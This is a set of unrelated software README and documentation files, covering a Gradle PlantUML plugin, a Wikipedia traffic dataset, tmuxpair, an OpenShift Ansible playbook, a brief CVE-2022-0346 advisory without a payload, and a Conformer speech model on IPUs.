text:
# Gradle PlantUML Plugin

This is a plugin that renders diagram files via [PlantUML](http://plantuml.com/), based on this plugin [here](https://github.com/codecholeric/gradle-plantuml-plugin).

Gradle plugins repository link: https://plugins.gradle.org/plugin/com.cosminpolifronie.gradle.plantuml

## Requirements

* [Graphviz](https://www.graphviz.org/download/) (may be needed for rendering certain diagrams, use a version defined [here](http://plantuml.com/graphviz-dot))

## How to use it

Declare the plugin:

```
plugins {
  id 'com.cosminpolifronie.gradle.plantuml' version '1.6.0'
}
```

Then configure PlantUML files to render:

```
plantUml {
    render input: 'diagrams/some.puml', output: 'some.svg', format: 'svg', withMetadata: false
    render input: 'diagrams/some.ditaa', output: 'some.png', withMetadata: true
    render input: 'diagrams/release/*.puml', output: "${project.buildDir.absolutePath}/release", format: 'png', withMetadata: false
}
```

You can even tell PlantUML to not include its metadata (the PlantUML script and the build properties) using the `withMetadata` property (which is `true` by default):

Input can either be a concrete file name or a glob pattern (e.g. `diagrams/**/*.puml`). Output can
either be a concrete file name or a folder (in which case output file names will match the input file
names with a different ending).

Note that `format: 'xxx'` is optional, if and only if

* the target is a single file
* the target has a known image file ending like `svg` or `png`

Note that `withMetadata: true/false` is completely optional and is by default `true`.

The plugin adds a custom `:plantUml` task to render the diagrams:

```
./gradlew :plantUml
```

There are also two more tasks that help automate processes:
* `./gradlew :plantUmlIO` - displays the inputs and outputs that the plugin uses for rendering formatted as 'input_file,output_file'
* `./gradlew :plantUmlOutputForInput --path="your_path_here"` - try to guess the output file based on the input file given and the entries in `build.gradle` - this is also used internally to determine the output file for a deleted input so it could be deleted too - it will print the input file path if it could be determined, or nothing otherwise

## Incremental build support

The plugin uses incremental builds. This means that only modified input files will be rendered on consecutive runs (at first run all the files will be rendered again, Gradle has to build its cache). When any of the output files change, all inputs will be rendered again.

## Multithreading support

This plugin renders all the inputs in parallel (using worker threads).

## How to use your own version of PlantUML

To work out of the box, the `gradle-plantuml-plugin` declares a transitive dependency on
`net.sourceforge.plantuml:plantuml:${version}`, where `${version}` is the current version
released to Maven Central at the time of the plugin release.

You can drop in your own version of PlantUML (provided the API used by the plugin is compatible)
by configuring the plugin within the `buildscript` block:

```
buildscript {
    dependencies {
        classpath('com.cosminpolifronie.gradle:gradle-plantuml-plugin:1.6.0') {
            exclude group: 'net.sourceforge.plantuml', module: 'plantuml'
        }
        classpath "net.sourceforge.plantuml:plantuml:${myVersion}"
    }
}

apply plugin: 'com.cosminpolifronie.gradle.plantuml'
```

Alternatively use a local JAR file:

```
classpath files('libs/plantuml-any.jar')
```

## JBoss Artifactory local repository for forking and local testing

If you want to fork this plugin and extend its functionality, you will also want to test your modifications. For this, you'll have to deploy the plugin to a local artifact repository.

For this you can use a local JFrog Artifactory artifact repository.

Add the following line to your `plugins` closure in `build.gradle`:
```
// for local testing purposes
id "com.jfrog.artifactory" version '4.9.6'
```

Add the following to `build.gradle`:
```
// for local testing purposes
task sourcesJar(type: Jar, dependsOn: classes) {
    from sourceSets.main.allSource
    archiveClassifier = 'source'
}

// for local testing purposes
artifacts {
    archives sourcesJar
}

// for local testing purposes
publishing {
    repositories {
        mavenLocal()
    }

    publications {
        // used by Artifactory Gradle plugin
        plantUmlPluginJar(MavenPublication) {
            from components.java
            // these have to be specified explicitly because
            // the Artifactory Gradle plugin is not compatible with
            // the java-gradle-plugin that exports jars using Gradle Marker Artifacts
            // Gradle Marker Artifacts are needed to use the new plugins DSL
            // instead of buildscript repository, dependency and apply plugin declarations
            groupId gradlePlugin.plugins.plantUmlPlugin.id
            artifactId gradlePlugin.plugins.plantUmlPlugin.id + ".gradle.plugin"

            artifact(sourcesJar) {
                classifier = 'source'
            }
        }
    }
}

// for local testing purposes
artifactory {
    contextUrl = "${artifactory_contextUrl}"
    publish {
        repository {
            repoKey = "${artifactory_publish_repoKey}"
            username = "${artifactory_user}"
            password = "${artifactory_password}"
            maven = true
        }
        defaults {
            publications('plantUmlPluginJar')
        }
    }
    resolve {
        repository {
            repoKey = "${artifactory_resolve_repoKey}"
            username = "${artifactory_user}"
            password = "${artifactory_password}"
            maven = true
        }
    }
}
```

You have to make/edit your `~/.gradle/gradle.properties` (`~` means your home directory) file and add the following details (considering you are running with default settings and a default Gradle repository initialized):

```
artifactory_user=your_artifactory_user
artifactory_password=your_artifactory_encrypted_password
artifactory_contextUrl=http://localhost:8081/artifactory
artifactory_contextUrl_resolve=http://localhost:8081/artifactory/gradle-dev
artifactory_publish_repoKey=gradle-dev-local
artifactory_resolve_repoKey=gradle-dev
```

Make sure to change the plugin version to something new, so that it doesn't get confused with the official ones:

`build.gradle` in the plugin fork:
```
group = 'com.cosminpolifronie.gradle.plantuml'
version = '<your_plugin_version>'
```

After this, just run the `:artifactoryPublish` task after building, and the plugin will be automatically published to your local repository.

To use this custom build in your project, just add the following to your `settings.gradle` file:

```
pluginManagement {
    repositories {
        maven {
            url "${artifactory_contextUrl_resolve}"
        }
    }
}
```

It is not necessary to modify your plugins closure in `build.gradle` in the project that uses the plugin. It should look like this:

```
plugins {
	// this is a custom plugin that will be found on a local Artifactory repository
	id 'com.cosminpolifronie.gradle.plantuml' version '<your_plugin_version>'
}
```

repository: cosminpolifronie/gradle-plantuml-plugin

gha_language: Groovy

repo_name: cosminpolifronie/gradle-plantuml-plugin


text:
# data-512-a1

The goal of this project is to examine the changes in desktop and mobile traffic that the Wikipedia website has had over the time period of January 2008 to August 2021. We will accomplish this by requesting API data from two different REST API endpoints, cleaning the data, and publishing a dataset.

Link to license of the source data and a link to the Wikimedia Foundation REST API terms of use: https://www.mediawiki.org/wiki/Wikimedia_REST_API#Terms_and_conditions

# The data was collected from the Legacy Pagecounts API and the Pageviews API.

Link to Legacy Pagecounts API documentation: https://wikitech.wikimedia.org/wiki/Analytics/AQS/Legacy_Pagecounts

Link to Legacy Pagecounts API endpoint: https://wikimedia.org/api/rest_v1/#/Pagecounts_data_(legacy)/get_metrics_legacy_pagecounts_aggregate_project_access_site_granularity_start_end

Link to Pageviews API documentation: https://wikitech.wikimedia.org/wiki/Analytics/AQS/Pageviews

Link to Pageviews API endpoint: https://wikimedia.org/api/rest_v1/#/Pageviews_data/get_metrics_pageviews_aggregate_project_access_agent_granularity_start_end

# In the final data file, we have 8 total columns:

year: The year the Wikipedia visit data was collected from

month: The month the Wikipedia visit data was collected from

pagecount_all_views: The number of desktop and mobile page counts aggregated together

pagecount_mobile_views: The number of mobile-specific page counts

pagecount_desktop_views: The number of desktop-specific page counts

pageviews_all_views: The number of desktop and mobile page views aggregated together

pageviews_mobile_views: The number of mobile-specific page views

pageviews_desktop_views: The number of desktop-specific page views

Special considerations with the data would be to pay attention to the type of data we are working with. The API calls will result on a JSON data structure and the analysis requires us to convert that data to a CSV. Taking special care to convert the data properly through data types is critical in this analysis. Furthermore, there should be no null values in our analysis, rather we should replace all our NaN values with 0.

license: MIT

branch_name: refs/heads/main

extension: md

license_type: permissive


text:
# Get Youtube Rss URL Chrome extension

Youtube doesn't have a simple way to get the RSS url.
This extension is an easy way to get the proper url for a user, channel, or playlist.

## Getting Started

These instructions will get you a copy of the project up and running in Chrome.

### Prerequisites

What things you need to install the software and how to install them

```
Chrome
```

### Installing

A step by step series of examples that tell you how to get a development env running

Put Chrome into developer mode

```
go to chrome://extensions and click developer mode in the top right.
```

Load the extension

```
Click 'Load Unpacked Extension' and choose your parent folder of the extension
```

## Versioning

This is version 0.1 as it's not finished.

## Authors

* **Anthony Davis** - *Initial work*

branch_name: refs/heads/master


text:
# JSON/XML Schema in "Depth" :blush:

Omniparser schemas for JSON and XML inputs contain only two parts, `parser_settings` and
`transform_declarations`, both of which we have covered in depth [here](./gettingstarted.md) and
[here](./transforms.md).


text:
<!-- WARNING: Generated documentation. Edit docs and examples in the rule and examples file ('rules/avoid-scope-typos.js', 'examples/avoid-scope-typos.js'). -->

# avoid-scope-typos - Avoid mistakes when naming methods defined on the scope object

For example, you want to use $scope.$watch instead of $scope.watch

**Rule based on Angular 1.x**

## Examples

The following patterns are considered problems;

    /*eslint angular/avoid-scope-typos: 2*/

    // invalid
    $scope.apply.forEach(function (watcher) {
        // ...
    }); // error: The apply method should be replaced by $apply, or you should rename it in order to avoid confusions

    // invalid
    $rootScope.apply.forEach(function (watcher) {
        // ...
    }); // error: The apply method should be replaced by $apply, or you should rename it in order to avoid confusions

The following patterns are **not** considered problems;

    /*eslint angular/avoid-scope-typos: 2*/

    // valid
    $scope.$apply();

    // valid
    $rootScope.$apply();

## Version

This rule was introduced in eslint-plugin-angular 2.3.0

## Links

* [Rule source](/rules/avoid-scope-typos.js)
* [Example source](/examples/avoid-scope-typos.js)

repository: codacy/codacy-eslint

gha_language: TypeScript

repo_name: codacy/codacy-eslint


text:
# tmuxpair #

[![Build Status](https://travis-ci.org/goerz/tmuxpair.svg)](https://travis-ci.org/goerz/tmuxpair)

Command line script for setting up a temporary tmux session for pair
programming.

© 2016 by [Michael Goerz](http://michaelgoerz.net). This software is available
under the terms of the [MIT license][LICENSE].

[LICENSE]: LICENSE

## Installation & Usage ##

Using [virtualenv][]/[pipsi][]/[conda env][] is recommended. Install the
`tmuxpair` executable with

    pip install tmuxpair

[virtualenv]: http://docs.python-guide.org/en/latest/dev/virtualenvs/
[pipsi]: https://github.com/mitsuhiko/pipsi#pipsi
[conda env]: http://conda.pydata.org/docs/using/envs.html

Run `tmuxpair -h` for usage details.

## Reasonably Secure Pair Programming ##

[A simple yet powerful way][1] for pair programming is to have a partner connect
to a tmux session on your machine. However, this implies that you give them SSH
access, with the obvious security implications: Your partner now
has complete control over your user account. They could use `scp` to copy any of
your files, read your email, or [pull a prank on you][2] by messing with your
`.bashrc`.

While you should probably only engage in pair programming with people that you
place a certain minimum amount of trust in, it would be nice to eliminate at
least the obvious ways for your partner to do anything behind your back.
`tmuxpair` achieves this by using [key-based authentication][3] together with the
feature of SSH to [limit a key to a specific command][4]. This follows the
approach outlined in [Tres Trantham’s blog post][5]. Note that we also lock down
`scp` access and port forwarding (which could allow your partner to access any
firewalled server on your network).

We can go a little further in ensuring only supervised access by strictly
limiting your partner’s connection to the duration of the pair-programming
session.`tmuxpair` does this by by wrapping `tmux`; when you run e.g.

    tmuxpair partner_key.pub

the public key in the file `partner_key.pub` is *temporarily* appended to your
`~/.ssh/authorized_keys` file (with the appropriate options), and `tmuxpair`
attaches to a tmux session “pair”. As soon as the session ends – or you detach
from it! – your partner’s SSH connection is closed and the original
`authorized_keys` file is restored.

Of course, if your partner were sufficiently determined to break into your
system, they could still manage to do so. Our assumption here is that
*supervised* access is “reasonably secure” in most environments. If your partner
does not need write access, `tmuxpair` provides a view-only mode that should not
leave any security loopholes.

Security could be enhanced further by running the tmux session under a separate
and dedicated account instead of your normal user account. However, the purpose
of the `tmuxpair` script is to provide a robust solution that allows you to
quickly share a terminal with a colleague, *without* any further setup.

[1]: https://blog.pivotal.io/pivotal-labs/labs/how-we-use-tmux-for-remote-pair-programming
[2]: http://unix.stackexchange.com/questions/232/unix-linux-pranks
[3]: https://www.digitalocean.com/community/tutorials/how-to-configure-ssh-key-based-authentication-on-a-linux-server
[4]: https://en.m.wikibooks.org/wiki/OpenSSH/Client_Configuration_Files#.7E.2F.ssh.2Fauthorized_keys
[5]: http://collectiveidea.com/blog/archives/2014/02/18/a-simple-pair-programming-setup-with-ssh-and-tmux/

repository: doytsujin/tmuxpair

extension: markdown

repo_name: doytsujin/tmuxpair


text:
# MyoMedia

> Natural interface for your home media centre

## About

You use the Myo (gestures) to control your TV (through Chromecast) and play your home media. You can search and select movies and TV shows via voice.

So you make a gesture, say you want to watch a movie, and pick a movie with voice (text-to-speech feedback “do you want to watch X-Men: First Class or Wolverine?”), then it'll automatically stream that from your media centre to your Chromecast on your TV, and you can control volume, and rewind/fast-forward with Myo gestures to Chromecast.

## Requirements

Requires you to install [SoX](http://sox.sourceforge.net/).
See https://github.com/gillesdemey/node-record-lpcm16#dependencies for details.

### Mac OS X

```bash
brew install sox
```

### Linux

```bash
sudo apt-get install sox libsox-fmt-all
```

## Development

```bash
npm install
bower install
```

### Run

```bash
npm start
```

### Build

```bash
npm run build
```

## License

MIT © [Glavin Wiechert](https://github.com/Glavin001/MyoMedia)

repository: Cloudxtreme/MyoMedia

repo_name: Cloudxtreme/MyoMedia


text:
---
layout: post
comments: true
title: "The Candidates"
date: 2011-10-23 00:00
categories: [bachmann, cain, romney, republicans, 2012 election, cartoons]
---

A temporary departure from technical topics, for an amusing cartoon.
Well, amusing to _me_, anyway...

**Update:** I posted a follow-up cartoon [here](/blog/2011/10/25/the-candidates-part-2/).

{% imgpopup /images/2011-10-23-the-candidates/candidates-2012.png 50% The Candidates %}

The comic book typeface is called *Unmasked*, and it's available, free for
non-commercial use, from [Blambot](http://www.blambot.com/).

repository: bmc/brizzled

gha_language: HTML

repo_name: bmc/brizzled


text:
https://paolopatierno.wordpress.com/2015/10/13/an-iot-platforms-match-microsoft-azure-iot-vs-amazon-aws-iot/

"Things," in the IoT sense, can refer to a wide variety of devices such as heart monitoring implants, biochip transponders on farm animals, electric clams in coastal waters,[15] automobiles with built-in sensors, DNA analysis devices for environmental/food/pathogen monitoring[16] or field operation devices that assist firefighters in search and rescue operations.[17] Legal scholars suggest to look at "Things" as an "inextricable mixture of hardware, software, data and service".[18] These devices collect useful data with the help of various existing technologies and then autonomously flow the data between other devices.[19][20] Current market examples include smart thermostat systems and washer/dryers that use Wi-Fi for remote monitoring.

http://www.wired.com/2016/04/nests-hub-shutdown-proves-youre-crazy-buy-internet-things/
http://www.argusinsights.com/connected-home-release/

azure iot and amazon iot
microsoft stream analytics
power BI

github - https://github.com/Azure/azure-iot-sdks

microsoft - lambda
https://www.sdxcentral.com/articles/news/microsoft-azure-takes-aws-lambda/2016/03/

http://www.radupascal.com/2016/04/03/esp8266-arduino-iot-hub
https://azure.microsoft.com/en-us/documentation/articles/iot-hub-mqtt-support/

https://azure.microsoft.com/en-us/blog/build-an-azure-app-service-to-record-raspberry-pi-sensor-data/

http://docs.aws.amazon.com/iot/latest/developerguide/iot-device-sdk-c.html

http://www.forbes.com/sites/janakirammsv/2015/10/13/aws-iot-amazons-knock-out-punch-to-the-competition/#19fa0df4a94c

http://fortune.com/2015/07/30/microsoft-jasper-team-on-iot/

microsoft - lambda
https://www.sdxcentral.com/articles/news/microsoft-azure-takes-aws-lambda/2016/03/

Amazon

http://www.networkworld.com/article/2990996/internet-of-things/amazon-aims-to-make-aws-a-better-home-for-iot-devices.html

http://venturebeat.com/2015/10/08/aws-launches-amazon-iot-a-cloud-service-for-internet-of-things-data/

http://mtuity.com/all-about-aws-iot/

http://www.computerworlduk.com/galleries/data/-of-best-internet-of-things-platforms-3635185/

----------------------------------------

AWS vs Azure -

http://searchcloudcomputing.techtarget.com/news/4500270846/Microsofts-IoT-Hub-lags-behind-Azure-IoT-Suite

https://paolopatierno.wordpress.com/2015/10/13/an-iot-platforms-match-microsoft-azure-iot-vs-amazon-aws-iot/

http://www.newgenapps.com/blog/iot-platforms-aws-vs-azure-which-one-is-the-most-suitable-for-your-business

----------------------------------------

https://feedback.azure.com/forums/34192--general-feedback/suggestions/10461873-azure-is-unfinished-product-support-sucks

We are currently on AWS.
We signed a contract to move to Azure.

I have had nothing but troubles and issues. How can you sell an unfinished product????

 I opened a ticket and it goes unanswered for months!!!!

Do yourself a favor and work with Amazon AWS. LEARN from them. their support is beautiful.

Our company has now decided to reverse our contract with Microsoft and stay with Amazon AWS.

If for simply initial configuration there is no documentation, and no one to support me and I have to beg on internet so that someone have pity on me and tell me he is going to help because he knows some other guy inside Microsoft (and yes it has happened),, THEN simply think what **** would I go through if I put my production on this useless platform.

Ridiculous.

P.S. I am talking about ARM,


text:
### [CVE-2022-0346](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0346)
![](https://img.shields.io/static/v1?label=Product&message=XML%20Sitemap%20Generator%20for%20Google&color=blue)
![](https://img.shields.io/static/v1?label=Version&message=2.0.4%3C%202.0.4%20&color=brighgreen)
![](https://img.shields.io/static/v1?label=Vulnerability&message=CWE-79%20Cross-site%20Scripting%20(XSS)&color=brighgreen)

### Description

The XML Sitemap Generator for Google WordPress plugin before 2.0.4 does not validate a parameter which can be set to an arbitrary value, thus causing XSS via error message or RCE if allow_url_include is turned on.

### POC

#### Reference
No PoCs from references.

#### Github
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates

repository: trickest/cve

gha_license_id: MIT

repo_name: trickest/cve


text:
# ansible-openshift_origin

Author: Adam Miller

This playbook will continue to go through refactoring to support more sophisticated
deployments of OpenShift but it works in it's current state for "All in One"
OpenShift deployments.

# About

This playbook helps install [OpenShift Origin](https://openshift.github.io) Platform As A Service.

Currently this playbook only supports installing on a single machine or
(all-in-one install) which that the OpenShift Broker and OpenShift Node
services are running on the same machine. This can be done on bare metal, in a
virtual machine, or in a cloud instance as OpenShift only depends upon the
Operating System (with SELinux, cgroups, and PAM magic under the hood).

The playbook is based on the [OpenShift Origin Comprehensive Deployment Guide](http://openshift.github.io/documentation/oo_deployment_guide_comprehensive.html)

# Requirements

Install Target:
* Fedora 19 - at least @standard if using a kickstart installation.

Machine Deploying From (The Orchestration Machine)
* Ansible >= 1.4

# Installation

The module can be obtained from the
[github repository](https://github.com/maxamillion/ansible-openshift_origin).

1. Download the [Zip file from github](https://github.com/maxamillion/ansible-openshift_origin/archive/master.zip)

(See "Configuration" and "Using" sections below for details)

Reminder: This is currently only supporting a single-node install so 'brokers'
and 'nodes' should both contain the same, single, ip address or hostname in the
inventory file.

# Configuration

## Ansible
You will either need to make entries in your /etc/ansible/hosts file for a
[brokers], [nodes], and [support_nodes] sections, or optionally create a
hosts file and use the ansible -i option to point to your custom inventory
file. (The inventory.txt in this git repo is such a file)

NOTE: This is currently only for single node deployments

Example:

    [brokers]
    <IP_ADDRESS>

    [nodes]
    <IP_ADDRESS>

    [support_nodes]
    <IP_ADDRESS>

# Using

Once the configuration step is complete you can then run these configs with or
without a non-default inventory file.

Example with default inventory file (/etc/ansible/hosts):

    ansible-playbook site.yml -u root

Example with non-default inventory file (inventory.txt):

    ansible-playbook site.yml -i inventory.txt -u root

Example running only against nodes (note: this is a tag from the site.yml):

    ansible-playbook site.yml -i inventory.txt -t nodes -u root

If you would like to use the Fedora 19 cloud images provided
[here](https://fedoraproject.org/en/get-fedora-options#clouds) then you should
use sudo with the default fedora user provided with these images unless you
care to configure it before hand to allow root login:

    ansible-playbook site.yml -i inventory.txt -s -u fedora

# Web Console

Once the installation is complete, navigate to your machine (we'll assume here
that the DNS pointer is broker.example.com) to https://broker.example.com/console
and the default username/password is demo/demo .... you SHOULD CHANGE THIS
IMMEDIATELY if you plan to do anything of any amount of seriousness with your
deployment.

# rhc - OpenShift command line util
If you are going to use the rhc client you will need to create a config,
there is a config example called express.conf.example in the docs dir of this
repo

You can also use the rhc wizard by pointing it to your broker node.

The password for the command line utility will be the same as the web console.

Example:

    ## NOTE: Need the -k because we're using a self signed cert in our example.
    rhc -k setup --server=<IP_ADDRESS>

NOTE: If you aren't seeing a full list of cartridges or ```oo-admin-cartridge --list```
is showing a different list than what ```rhc cartridge list``` is showing, there are
two possible causes.

1) mcollective cartridge_repository needs reloading, just restart mcollective.

    systemctl restart mcollective.service

2) need to clear the OpenShift Broker cache

    oo-admin-broker-cache -c

# Notes

Just some fun little "gotchyas" that are being worked through, but in the mean
time warrant some amount of mention. This section will be updated as necessary.

0. This is a pet project that I've been fortunate enough to carve off a little
  time to work on during my $dayjob because my job, boss, and company are awesome.
  As with any pet project, it might get stale but I will do my best to keep it
  up to date as well as expand on it as time goes on to handle more sophisticated
  configrations and deployments.

1. Upstream Fedora ActiveMQ is broken so the option to use QPID is in the
  group vars file "all" but the ActiveMQ package in the OpenShift Origin deps
  repo is fixed. There's a trello card open on our public board to get all the
  deps into Fedora proper as well as fix those that are already there:

  https://trello.com/c/v3SYHVHF/27-get-all-openshift-origin-dependencies-packaged-and-into-fedora

  UPDATE:
  We're currently working around this by using the ActiveMQ package in the
  dependencies repo, it's not quite compliant with Fedora Packaging Guidelines
  for Java so we're not able to get it into Fedora proper at this time. It's
  still on the list of things to fix though.

2. There's an odd issue where ansible 1.3 thinks a directory doesn't exist but
  you re-run, then it does. I've filed an issue ticket.

  https://github.com/ansible/ansible/issues/4177

3. Sometimes firewalld hangs on OpenStack images (I can't reproduce on real
  hardware or in a KVM based VM on my laptop, but if you rerun the playbook it
  works just fine. I hope my firewalld module will solve this if/when it's
  included in Ansible.

  https://github.com/ansible/ansible/pull/3834

4. Sometimes you'll get this error:

    ```Unable to complete the requested operation due to: Dnsruby::TsigError.```

  Restarting BIND(named) will resolve this.

    ```systemctl restart named.service```

5. The openshift-tc service which deals with transport control and traffic
  throttling, will often fail to start on a fresh reboot due to some finer
  points of systemd. Details here: http://www.freedesktop.org/wiki/Software/systemd/NetworkTarget
  Also note, this is a known issue and the OpenShift Origin developers are
  working on resolving this.

A workaround is:

    ansible nodes -m shell -a 'service openshift-tc stop && service openshift-tc start' -i inventory.txt

And if you chose to use sudo with the user "fedora":

    ansible nodes -m shell -a 'service openshift-tc stop && service openshift-tc start' -i inventory.txt -u fedora -s

# Contact Info

If you'd like, just open an issue against this on github and I'll get to it asap.

If you'd like to try for more immediate feedback, feel free to ping me on irc. I
only frequent freenode and am in more channels than is healthy, but below are
the ones I spend the most time in and/or paying attention to:
- IRC Nick: maxamillion
- IRC Channels: #openshift-dev #openshift #ansible #fedora #fedora-devel #rhel
- IRC Network: irc.freenode.net

gha_language: Shell


text:
Rigging
====

Rigging is an asset manager for Node.js, designed specifically for the Sails framework.  It uses great open-source plugins that already exist to allow for:

- CSS minification
- Javascript minification
- Retina display downsizing and thumbnail generation (coming soon, see https://github.com/balderdashy/deretina)
- Automatic spritesheet compilation (coming soon)
- Conditional serving of images based on screen size (coming soon)

Installation
--
```npm install rigging```

Compatibility
--
Tested with node 0.6.4 up to node 0.8.1

## Who Built This?
The Sails framework, including Mast, Rigging, and other related packages, are jointly developed and supported by Mike McNeil and Balderdash Design Co.  Balderdashs build wonderful web apps as a service, and after much frustration, we built Sails to use on our customers' projects.  Naturally, we open-sourced it.  Hopefully, it makes your life a little bit easier!

The MIT License (MIT)
--

Copyright © 2012 Mike McNeil

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

 IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


text:
<!-- Do not edit this file. It is automatically generated by API Documenter. -->

[Home](./index.md) > [sip.js](./sip.js.md)

## sip.js package

A Transport implementation for web browsers.

## Classes

|  Class | Description |
|  --- | --- |
|  [Transport](./sip.js.transport.md) | Transport for SIP over secure WebSocket (WSS). |

## Interfaces

|  Interface | Description |
|  --- | --- |
|  [TransportOptions](./sip.js.transportoptions.md) | Transport options. |

gha_language: JavaScript


text:
# PyTorch [Conformer](https://arxiv.org/abs/2005.08100) on IPU, this project is slightly different from the original paper, in which there are slight changes to the configuration of ipu.

## Environment setup

First, install the Poplar SDK following the instructions in the Getting Started guide for your IPU system. Make sure to source the `enable.sh` scripts for Poplar and PopART.

Then, create a virtual environment, install the required packages.

```console
virtualenv venv -p python3.6
source venv/bin/activate
make
pip install <path to the poptorch wheel from the Poplar SDK>
```

## Project files structure

| file/folder      | description                                                                                |
| ---------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| configs/         | Folder for model configs                                                                                |
| src/             | Source code folder                                                                                |
| src/iterator/    | Data iterator related, Perform data set loading, encapsulation and preprocessing                                                                                |
| src/utils/       | Utils folder contains some callable modules independent of the torch framework, including initializer and lr_scheduler、mask、ipu_pipeline and other functional modules  |
| src/conformer.py | Main frame function of model structure setting                                                                                |
| src/trainer.py   | IPU config, dataset building, and other configurations building; training and validate main workflow                                                                        |
| requirements.txt |                                                                                |

## Data preparation

This Open Source Mandarin Speech Corpus, AISHELL-ASR0009-OS1, is 178 hours long. It is a part of AISHELL-ASR0009, of which utterance contains 11 domains, including smart home, autonomous driving, and industrial production. The whole recording was put in quiet indoor environment, using 3 different devices at the same time: high fidelity microphone (44.1kHz, 16-bit,); Android-system mobile phone (16kHz, 16-bit), iOS-system mobile phone (16kHz, 16-bit). Audios in high fidelity were re-sampled to 16kHz to build AISHELL- ASR0009-OS1. 400 speakers from different accent areas in China were invited to participate in the recording. The manual transcription accuracy rate is above 95%, through professional speech annotation and strict quality inspection. The corpus is divided into training, validation and testing sets.
The link of AISHELL-ASR0009-OS1's original path is https://www.openslr.org/33/.

### Note
We use [WeNet](https://github.com/wenet-e2e/wenet) script for data preparation, you need clone the repository and run the script as below:
```
shell
    git clone https://github.com/wenet-e2e/wenet
    cd wenet/examples/aishell/s0
    bash run.sh --stage -1 --stop_stage 3 --data /path/to/aishell_dataset
    mv data /path/to/this/project
```
The data processing will take about 50 minutes (depending on your network and machine). Full datasets are ~103G, so please make sure you have enough space to store the dataset.
Note that the `/path/to/aishell_dataset` is where the raw and processed AiShell datasets are located. `/path/to/this/project` is the root path of this project.

### WeNet files structure

| file/folder                                                                                | description                                                                                |
| ------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| data/                                                                  | data root, generated features and labels after preprocessing the aishell dataset                                                                                |
| data/{train|dev|test}/data.list        | form file, records the train data dict between the ID or name of the feature and the real path where the feature is located, generally each line represents a feature |
| data/{train|dev|test}/text                                            | Text file，records the text label corresponding to all audio                                                                                |
| data/{train|dev|test}/wav.scp                                            | Text file，records the audio ID and file path                                                                                |
| data/dict/lang_char.txt                                 | Text file, records all vocabulary tokens information and key, and one line represents one character                                                                          |
| data/train/global_cmvn                 | Text file, records the all features's cmvn information                                         |

## Running and benchmarking

To run a tested and optimised configuration and to reproduce the performance shown on our [performance results page](https://www.graphcore.ai/performance-results), please follow the setup instructions in this README to setup the environment, and then use the `examples_utils` module (installed automatically as part of the environment setup) to run one or more benchmarks. For example:

```bash
python3 -m examples_utils benchmark --spec <path to benchmarks.yml file>
```

Or to run a specific benchmark in the `benchmarks.yml` file provided:

```bash
python3 -m examples_utils benchmark --spec <path to benchmarks.yml file> --benchmark <name of benchmark>
```

For more information on using the examples-utils benchmarking module, please refer to [the README](https://github.com/graphcore/examples-utils/blob/master/examples_utils/benchmarks/README.md).

# Example of training the model

First, train the model you should go to the `wenet_conformer` directory and `make`, then it will generate a `custom_ops.so` file, and this file will be used in the training.

If you want to execute the task of Conformer-medium fp16 with 4 IPUs, you can refer to the following command, and the shell script is in scripts/run_wenet_conformer_fp16.sh:

```
python main.py train

```

If you want to execute the task of Conformer-medium fp32 with 4 IPUs, you can refer to the following command, and the shell script is in scripts/run_wenet_conformer_fp32.sh:

```
python main.py train --trainer.log_every_n_step 10 --scheduler.warmup_steps 25000 --train_dataset.dtype 'FLOAT32' --val_dataset.dtype 'FLOAT32' --trainer.dtype 'FLOAT32'  --train_iterator.batch_size 4 --ipu_options.gradient_accumulation 72
```

If you want to execute the Conformer-medium 'generate_data' mode of fp16 with 2 IPUs, you can refer to the following command, and the shell script is in scripts/run_wenet_conformer_generate.sh:

```
python main.py train --train_dataset.use_generated_data true
```

And the Conformer-medium trained loss curve(global_bs=288) is shown in the table:

|      | 0     | 40     | 80    | 120    | 180    | 200   |  240  |
| ---- | ----- | ------ | ----- | ----- | ----- | ----- |----- |
| fp16 | 206.162 | 7.195 | 4.453 | 3.386 | 2.549 | 2.176 |  2.02 |

The Conformer-medium float16 loss is shown in the figure below
![Image text](pic/fp16_loss_public.jpg)

In order to better reflect the advantages of IPU in large batch size, and also to show the linearity of IPU performance from POD16 to POD64, we set the running script of global_batch_size=16128 to show the performance of IPU, and the shell scripts are in "scripts/run_wenet_conformer_globalbs_16128_pod16.sh" and "scripts/run_wenet_conformer_globalbs_16128_pod64.sh".

The performance of Global_batch_size=16128 can be seen in the below:

On M2000:
    throughput=819 on POD4;
    throughput=3163 on POD16;
    throughput=11689 on POD64.

On BOW:
    throughput=1126 on POD4;
    throughput=4302 on POD16;
    throughput=15815 on POD64.

# Example of validating the model

It can be validated by the following command, where the address of the model to be validated can be specified by "--checkpoints.save_checkpoint_path"
```
python3 main.py validate --checkpoints.save_checkpoint_path "./checkpoint" --trainer.num_epochs 240  --ipu_options.device_iterations 10

```

# Example of decoding the CER of model

It can be decoded by the following command, where the address of the model to be decoded can be specified by "--checkpoints.save_checkpoint_path", and the script can be seen in the "scripts/decode.sh"
```
python3 main.py validate --checkpoints.save_checkpoint_path "./checkpoint" --trainer.num_epochs 240  --ipu_options.device_iterations 10
python3 main.py recognize --train_dataset.dtype 'FLOAT32' --val_dataset.dtype 'FLOAT32' --trainer.dtype 'FLOAT32' --ipu_options.enable_half_partials False

```
Then it will validate the validation loss of all epochs and generate a "val_loss.txt" file and an average model, then it will decode the test set and get the CER of whole dataset, finally it will generate a result file "final_cer.txt" in your model saved address("--checkpoints.save_checkpoint_path")

## Licensing

The code presented here is licensed under the Apache License Version 2.0, see the LICENSE file in this directory.

This application leverages the Kaldi-ASR framework , Espnet and WeNet.

Espnet is licensed under Apache 2.0: https://github.com/espnet/espnet/blob/v.0.10.0/LICENSE

